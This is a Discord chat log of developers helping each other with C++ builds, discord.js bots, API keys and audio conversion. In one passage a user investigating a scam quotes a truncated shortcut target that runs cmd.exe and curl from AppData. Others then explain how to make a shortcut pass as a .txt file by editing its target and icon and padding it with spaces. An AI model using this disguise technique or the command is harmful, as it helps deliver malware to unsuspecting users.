Use CLion for C/C++ development instead 
JetBrains' IDEs are great, paid but awesome
volt help training ai is pain
don't train it
push to prod and let the magic happen
it is in prod
💀
thanks to a team member running /train
so you haven't trained it before, very good
Training AI with what ML framework?
fasttext
and yet the option to add a folder doesn't exist
well im training it everytime when it has to reply to a message
or when it shouldnt
I deleted all jetbrains products thinking I wouldn't need them anymore
but nah this is too much of a headache
And how is it difficult to train it? It's pretty straightforward if you look at the documentation
I will train you voltrex
I will punish you Misty
https://www.youtube.com/playlist?list=PLlrATfBNZ98dudnM48yfGUldqGD0S4FFb also found this playlist seems pretty helpful
You should just go through https://learncpp.com/
the problem isnt about training it
its about falsepositives
whenever you add something to be a falsepositive, the one thats positive now has low score
Well yeah that's how AIs work, the best way to get rid of false positives is to train it with a lot more data that is considerably accurate
A little bit of data will do no good
yep, that's one of the reasons I gave up on training my own ai
not 100, not 1000, 100k would still be a low bet
it takes an ungodly amount of samples to have a reliable enough ai
Just train it with 1B
like
sponsorblock would trigger the ai
sponsorblock isnt working would also trigger the ai
but after adding the sponsorblock word to the falsepositive label, spobsorblock isnt working does no longer trigger
but i think thresholds would "fix" that
@earnest phoenix any idea if I should pay attention to this?
Well yes, it's better to set up the environment you actually want; the bundled MinGW and CMake should be good but you should choose the compiler and debugger you actually want, compilers as Clang, GCC, MSVC, etc etc, and debuggers as LLDB, or GDB
As well as the build tool, but Ninja is pretty good
Thanks for these options
Hello, I have a problem with my code, my salons are created correctly but they do not appear in the right order.
I have been told that this is coming from the parent but I have tried everything but I can't get it. Here is the code for the backup create & backup load.
If you knew where this could come from because it's been more than 4 days that I'm on it & I can't fix it... Backup create : js //SAUVEGARDE CHANNELS const channels = await interaction.guild.channels.cache.sort(async function (a, b) { return a.position - b.position; }).map(c => { const channel = { name: c.name, type: c.type, topic: c.topic, nsfw: c.nsfw, position: c.position, parent: c.parent, reason: c.reason, }; if (c.parent) channel.parent = c.parent; return channel; }); Backup load : js //CHARGEMENT BACKUP CHANNEL backups[id].channels.forEach(async channel => { if (channel.type === ChannelType.GuildText) { console.log(channel.parent) await interaction.guild.channels.create({ name: channel.name, type: 0, position: channel.position, topic: channel.topic, parent: channel.parent, }); } if (channel.type === ChannelType.GuildCategory) { await interaction.guild.channels.create({ name: channel.name, type: 4, position: channel.position, topic: channel.topic, }); } });
Not sure if u should make a backup feature, that's a great way to explode your ratelimits
your old positions are invalid after the channels are deleted
a channel in position 10 makes no sense in a server with 2 channels for example
I also would not just loop through like that
That'd do way too many api calls in succession and hit a ratelmit
a ratelimit-friendly backup command would take like 1 day to restore an average size server
unless it's a private bot, in which case you'd not have to care abt global rates
nope, except for IDENTIFY limit
you can request special limits once ur bot gets big enough tho, but I don't think discord would like such feature
last time I checked it did, but that was long before priv intents, so idk now
it probably has a heavily throttled restoration speed, to stay below limits
cmake -B build .
cmake
cd build
msbuild build/<theprojectname>.sln -nologo -p:Configuration=Release
(though i'm not sure how would you import D++ here, you can refer to Brain's documentation for that)
CMake is a wrapper around make, instead of directly generating executables, it generates Makefiles generating those executables instead
it's learning curve is pretty steep, especially just for importing/exporting C/C++ libraries
mods, command line apps, GUI apps and games, etc
like what
yeah i know
but C++ is useful for writing native apps
i know
null knows
i do
So I got it partially working
only issue is the library is missing dlls
😔
linking errors are the worst
I already have still issue unsolved sadly
I copied the appropriate dll files and pasted them into the correct place
You were probably missing some compiler flag
"code not work why error?"
proceeds to post a snap of code without any context
hi
also @sharp geyser please don't start C++ with D++
it's a bad idea
it relies on some advanced C++ techniques
like lambda capturing and atomic locking and such
I’m not I just wanna know how cmake worked
still a pretty complex topic
Indeed but I learn better with a challenge
write a web server from scratch in C++

I said a challenge not hell
C++ IS hell
omw
"how hard could it be" said reis
But it is fun so far
Hey null wanna run my totally legit exe file
;)
no libraries allowed, not even OpenSSL

you can't even use the internet
then fuck no
do you want me to completely go insane
yes i do

I mean I am subjecting myself to opengl soon™️
opengl is hell
I know
have fun going insane
I love opengl docs
then i pity for your sanity
Basically a big fuck you
"Wanna know what to do? So do I, go look for someone who fucking knows"
They tell you that you have to create something
but not how to create it
Waffle pointed this out to me tho https://learnopengl.com/
Learn OpenGL . com provides good and clear modern 3.3+ OpenGL tutorials with clear examples. A great resource to learn modern OpenGL aimed at beginners.
@earnest phoenix rewrite revanced in c++ when
whats revanced
his project thingy
?
He is part of that group tho
All the stuff on his github related to revanced is just a js version of whats on that group
not moving to revanced until my vanced breaks
old or new one?
2nd gen
but its on IOS 16 which doesn't allow sideloading apps that easily
I'd have to get a developer account and be part of the developer program
and thats too much work
I see
theyd rewrite it in rust
Why rust
rather than c++
its a "patcher" in js
but apktool is still needed
sooo yeah
and just like my other projects, ill never finish it :teef:
disgusting
definitely can't relate
@radiant kraken hey wanna rewrite 3 bots, a tcp server and a tcp client in rust
too busy
atm sorry
Just show and log the initial statement and it's result @earnest phoenix
When can go on then
also brb in a few minutes
print()
Should be the equivalent of console.log
better
whats this
throw err
^
Error: ENOENT: no such file or directory, open '/home/container/logs/combined-2022.10.19.log'
at Object.openSync (node:fs:590:3)
at openFile (/home/container/node_modules/sonic-boom/index.js:69:21)
at new SonicBoom (/home/container/node_modules/sonic-boom/index.js:119:5)
at buildSafeSonicBoom (/home/container/node_modules/pino/lib/tools.js:214:18)
at Function.module.exports.destination (/home/container/node_modules/pino/pino.js:191:12)
at Object.<anonymous> (/home/container/src/helpers/Logger.js:29:20)
at Module._compile (node:internal/modules/cjs/loader:1155:14)
at Object.Module._extensions..js (node:internal/modules/cjs/loader:1209:10)
at Module.load (node:internal/modules/cjs/loader:1033:32)
at Function.Module._load (node:internal/modules/cjs/loader:868:12) {
errno: -2,
syscall: 'open',
code: 'ENOENT',
path: '/home/container/logs/combined-2022.10.19.log```
you tell me
i dont know @earnest phoenix
what this means
Did you already read the error?
It tells you very specifically the file you're trying to open doesn't exist
(or the path to the file is wrong)
If I use an api key in a react onSubmit function for example, will it be hidden in the dev tools for the website or how do I make it hidden?
Everything that is frontend is public code. If you want to make it hidden, use a backend that will be requested from the frontend
Yeah but then I’d have to make an api, but how do I make it that people can’t just look in the code find the endpoint and get the api key by sending their own request to the api?
You do a request to your backend with your frontend, react
Your backend will do the request to the API with the API key and return the result(s)
That API key will never be shown to the user
ahhh
I see
that makes sense
but can't make people a request to the endpoint and technically use my api key aswell?
They can, they will just know your API key
Which is, as you said, not what you want
so couldn't someone with malicious intend take the endpoint of my API and basically spam it, resulting in my API key being blocked?
yeah i'll definitely use a backend but is there a way to make it only work when accessed through my react app?
You can add authentication to make sure the user is authenticated and then add some rate limit, such as X requests per day for each user
No problemo 
isn't it just
set voteCount = voteCount+1
to increment?
why use result[1]?
Hey! I merge all the pcm files in the recordings folder into a file named merge.pcm and convert it to the out.wav file in the voices folder.
I am using ffmpeg to do this but although the .pcm files are full the .wav file is just noise
merge and convert codes
Can someone help me understand this?
That it github merging
You have 2 branches, main and 2.0-migration
You made changes in one and the other, hence it has a merge conflict now
I want it to take 2.0-migration
So you can delete the ===== things etc.
Usually you resolve merge conflicts within an IDE because they display that better and let you solve them better
You can simply edit the file in the text editor you have so that it looks the way you want, then click on "Mark as resolved"
Can I just delete the whole text thing and replace it with I have saved locally for the 2.0-migration?
you'd have to delete first, then commit the delete, then rebase, then merge
You can, yes
Like this?
sure
Yep, if that's how you need it to be
that also works lel
Awesome
how can i merge all .pcm files inside a single folder into one .pcm file
i think not working because when converting pcm file to wav format, I get an error like this;
Hey i use config.json to store my bot's token and when I import it in index.js it works fine.
But when I do the same in handelCommands.js it says in terminal that ./config.json module not found.
Plz help!!
Here's my handelCommands.js-
const { REST } = require("@discordjs/rest");
const { Routes } = require('discord-api-types/v9');
const fs = require('fs');
const { Token } = require('./config.json');
const clientId = 'My_bot_id';
const guildId = 'My_guild_id';
module.exports = (client) => {
client.handleCommands = async (commandFolders, path) => {
client.commandArray = [];
for (folder of commandFolders) {
const commandFiles = fs.readdirSync(`${path}/${folder}`).filter(file => file.endsWith('.js'));
for (const file of commandFiles) {
const command = require(`../commands/${folder}/${file}`);
client.commands.set(command.data.name, command);
client.commandArray.push(command.data.toJSON());
}
}
const rest = new REST({
version: '9'
}).setToken(Token);
(async () => {
try {
console.log('🕑 Refreshing slash commands.');
await rest.put(
Routes.applicationCommands(clientId), {
body: client.commandArray
},
);
console.log('✅ Successfully reloaded slash commands.');
} catch (error) {
console.error(error);
}
})();
};
};```
where is your handleCommands.js located?
In a folder named- functions
theres your issue
./ means "current folder"
tbh id go insane if i were to help people here (speaking from experience)
so if you use ./ inside functions it will look for config.json inside functions
So how do i import ?
../ means previous folder
Because config.json is a separate file
what is your folder structure?
like this?
v functions
- handleCommands.js
- config.json
- index.js
Yes and config.json is completely separate file
it doesnt matter if its a separate file
what matters is where the files are located
So how do i import?
../
But u said that it's for previous ones
yes
But this
What this will do? ../../
handleCommands.js is inside the functions folder, correct?
Yes
so ./config.json means "look for config.json inside THIS folder"
THIS in relation to the file that is using the code
handleCommands.js is using the code
handleCommands.js is inside functions
so THIS folder is functions
../ means that it can import from anywhere?
I mean from outside the functions folder
../ means previous folder, so ../config.json means "look for config.json in the PREVIOUS folder"
aka, the folder BEFORE THIS folder
aka, the folder before functions
It's the event folder before the functions folder lmfao
then you need to go further back
../../config.json = "look for config.json 2 folders back"
thats why your folder structure is important
I'll try it and tell u. Ok?
Is there a way that i can change the structure?
I also wanna move node modules to the top.
what do you mean move node modules to the top lol
its literally where you chose to put your files, you make the structure the way you want
Kinda like this.
they are ordered in alphabetical order
O lol
pretty sure you cant control that
Oh shi
unless there is some vsc extension that lets you do that lol
Doesnt seem very convenient if you have to open a window to view em
how can I let the user choose multiple options without limits?
basically this
#966027989374627840 message
nvm, had to add
.setMinValues(0)
.setMaxValues(3)
does anyone know what i should do?
[...] max 25
ah, well I prob wont use more than 25 slots lol
why isnt it giving me roles? the logs say the logic itself works fine
had to add await infront of member.roles.add & remove
First of all, await the promises
well yeah
then make sure the guild member doesn't have a higher role than ur bot
just a warning, member.roles.remove([]) will remove all roles from the user.
If you happen to have no roles in remRoles youll remove all roles.
oh
Right so, how does that make sense
what would be the best way to fix that? insert a invalid role id if length is 0?
Just don't remove if empty
yep, didnt think abt that
Is it intentional that when you pass an empty list it will remove everything? It's super weird imo
Yeah it is
like this id guess, right?
That's fine yeh
as long as addRoles is an array (or string)
it always is ;)
it's okay then
would this entirety be optimal?
https://pastes.dev/tatiIrd8EN
fs.promises.writeFile("./data.json", JSON.stringify({data: 1}))
its creating the file but not writing in it.
and its throwing error " no such file or directory"
cursed indentation 😩
Very happy I never touched djs
🤫
Its a million times better now
it wouldnt give that error if its creating the file lol
that error would prevent the file from being created
single quotes for user facing strings/errors
great example
kek

I like to quote things in user facing strings, so
{error: 'Something from discord dev docs "you cant do that!"'}
or
{error: "Something from discord dev docs 'you cant do that!'"}
'"somequote"'
looks better imo
shhh, it doesn't
never used sql, hmm
would u escape any single quote then?

errr tf happened to the ui
Honestly, I dont think I've used single quotes in user facing strings before.
looks like icons, emojis and profile statuses are much larger than before
should be a little bit bigger to cover the avatar entirely
discord doing weird things, like always I guess
It's still insane that 10% of the community servers don't have access to the forums channel
Like, I hate how Discord rolls out features
we thankfully do
its better this way
threads sucked for our support channel
it's just a complete joke
🗿💀
Why would they do something such as this tho, are you sure about that? all community servers I'm in/ones i had already have access to forums
Most of them never boosted once and a member count < 5
That was true depending on the bot, though they changed it and now it's instant
Yeah, Maybe they're following the same psychotomimetic with the updates rollout, hopefully that is changed nearly
i don' even know what this word is but whatever
Yeah, it's like 90% test the feature for the 10%
Maybe those 10% are the big guilds that can't be messed with, with an "un-tested" feature
Nah
My guild is in those 10%
And it's not a big guild 
And they tend to give to verified and partnered servers even before others
it's randomised but not entirely
Ahaa 😅 well let's see what discord does next, pretty sure it's a removal of the active developer badge reasoned by people who get their systems broken running unknown executable(s)
Is it this experiment? 👀
yeh
I am still sad about this one. When stickers first came out anyone could upload lotties, but then they made it partner only 😭

I had some poggers lottie files I created
Basically custom animations in json-like format
ooh like in css?
that's very cool
yesh
can't it be converted to a gif or any workaround tho?
Ye, they even got a tool for it
But I wanted to upload ma lottie for bragging rights

Plus the size limit makes it so I cant upload it
ello johand
Hi Abe
Get your server verified then buddy :D
good luck with that
if he got 15k plus members of course
Members are not enough to get verified
They're super strict for that
Can't verify a server just based on member count
I'm trying to discover and research this social engineering trick.
They've got a .ink but it's shown as a .txt
There are hidden characters in the target property but most seem to be a latin space, anybod know something?
C:\Windows\system32\cmd.exe /c "cd %APPDATA% & curl.exe
That shit is making my phone lagging
Thanks for the images, now I don't lag
No problem fam 
https://support.discord.com/hc/en-us/articles/360001107231-Verified-Server-Requirements for the note
Verified Servers on Discord are an indication that the server is the officially affiliated community of a business, brand, and figure of public interest. The Verification badge appears on the top l...
Those are just vague and useless tbh
Tbh, I should try and get the https://www.vg.no server verified
Should be possible I think
The member count doesn't even count in server verification
Yo i somehow can't steal this 😭
you simply create a symbolic link, then manually change it's target
also possible via. command prompt
mklink
Yoo, built in anti piracy 
Are you able to show me an example?
:(
You can't just steal stickers, they're directly rendered by the client and not by multi-media players with codecs
damn it i'll just record it with a gif recorder
Well you can steal them
As you said, they're rendered by the client 
Well not so easily, but I remember there was a tool for that
Most stickers are <img> tags tho, so those have a link
Is amoled mode out yet in the client?
Mobile one yes
Not in the desktop clients, but they're coming soon to them
i tested it once in the desktop client like 3 months ago i guess, it looked of course better but needed lot of work on other things
like the default role color compared with the default background of the app
Ctrl+Shift+I
document.body.classList.add("theme-amoled");
oh it's that easy
i used to enable dev mode
then expirements
Overcomplicated
well thanks that's actually better

Create your file, for example test.txt, then right click > Send To > Desktop (create shortcut), then right click the created symbolic link and edit it's target link and icon (if needed)
making it look like a text icon
The input property *display has a maximum length of characters allowed
You can fuck with the urls etc
ton fuck of latin spaces
i better don't ask what ure trying to do
Yes. 
this isn't client mods, so no
how can i merge all .pcm files inside a single folder into one .pcm file
i think not working because when converting pcm file to wav format, I get an error like this;
you want to mix the audios or append them one after the other?
I want to add one after another
does it work if you convert one pcm to wav?
let me try now
oh no i think i found the problem
It also gives noise when I convert a normal pcm file to wav
const createNewChunk = () => {
const pathToFile = __dirname + `/../recordings/${Date.now()}.pcm`;
return createWriteStream(pathToFile);
};
but i don't see any problem in sound recording part
the problem is likely that you have raw opus files
you cannot convert raw opus to pcm
you have to put the raw opus data in a container like ogg
How should I research this?
@quartz kindle what does this do
looks like a code that prints itself
i dont know, try looking for how to encode/decode opus with ffmpeg
you probably have to use ffmpeg with libopus or some other extra lib
://
does the pcm file work if you play with vlc or something?
there are some programs to open pcm but not installed on my computer
try to open the file with mediainfo
to see what is the actual codec data
also try looking for opus stream libraries
opus stream encoder
I guess I'll have to download 😃
i have to go now, good luck
!markdown
probably
thanks
I am shocked you could even read it
everyone can
I would never use light theme
especially not something that has no syntax highlighting

This is what my actual theme is
damn, so goin back to my cave to continue enjoying light theme in solitude
why is int smaller than everything else
idk
some vsc plugin ig
wrong
(i think vsc)
CLion
Only jetbrains product I use now
also with gh co pilot
fuck gh co pilot
true emoji
copilot has nothing to do with syntax highlighting
they have suggestions on data types and such tho
it provides the param: value thing in calls
wtf is Log.h for
Me testing out Header files and looking at the compilations and linking stuff
Gotta remember null I am new to C++
to Log to your house and ddos your intruder alarm 
With C++ I am paying more attention to what the compiler and linker does
oh okay
Like I didn't know that the compiler literally just pastes the file's contents of the preprocessor statement when using include



